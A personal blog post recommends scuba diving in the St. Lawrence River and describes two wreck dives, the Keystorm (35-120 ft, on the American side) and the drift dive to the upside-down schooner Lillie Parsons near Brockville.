Diving the St. Lawrence River

keystorm-finsThe St. Lawrence River is one of my favourite local dive spots! It boasts:

  • Great currents for drift diving
  • Warm temperatures especially in July & August (up to 75F)
  • Amazing shipwrecks

The diving there can be a bit more advanced so you should have some dives under your belt and have your buoyancy down.

Here are just a couple of my favourite dive sites there...



This is a great wreck dive because of the depth range (35-120ft) plus it's so well intact that there's lots to explore. It is well worth multiple dives. The wreck of the Keystorm is on the American side of the river so passport required.

The scenery is amazing so it's actually pretty fun to go through customs for once! After customs we can cast off to tie up to the mooring at the Keystorm. 

Hop in and one of the first things you'll see is the forward wheelhouse which is great for pictures. It's the picture up top. If you peak over her bow you can see the gash in her hull that sank her. As you make your way down the decks exploring the holds you are comfortably protected from the current. How convenient for her to have settled with her hull blocking the current! If you make it all the way to the stern down at 120ft you can sneak around it to see the prop. Many times I've seen big schools of small silver fish (I don't know what kind) down here just off the stern. Well worth the trip!

Lillie Parsons

lillie_afloatI love drift diving! And that's the best way to see the wreck of the Lillie Parsons. We hop on the dive boat in Brockville and head off on the short boat ride to Sparrow Island. Get geared up and jump in to ride the current to the wreck. She's an old wooden schooner from the 1800's and like many wrecks in the river she is upside down. You'll see lot's of walleye, perch and bass in and around the wreck. The depth is just around 60ft but her masts stretch down deeper. Once you've checked out the wreck it's time to ride the current again. You can drift all the way to the next island! You'll see interesting rock walls and fish as you go. When it's time to start making your way up just follow up the rocks and send up and SMB (surface marker buoy). This is a great one to do as part of your drift diver course.
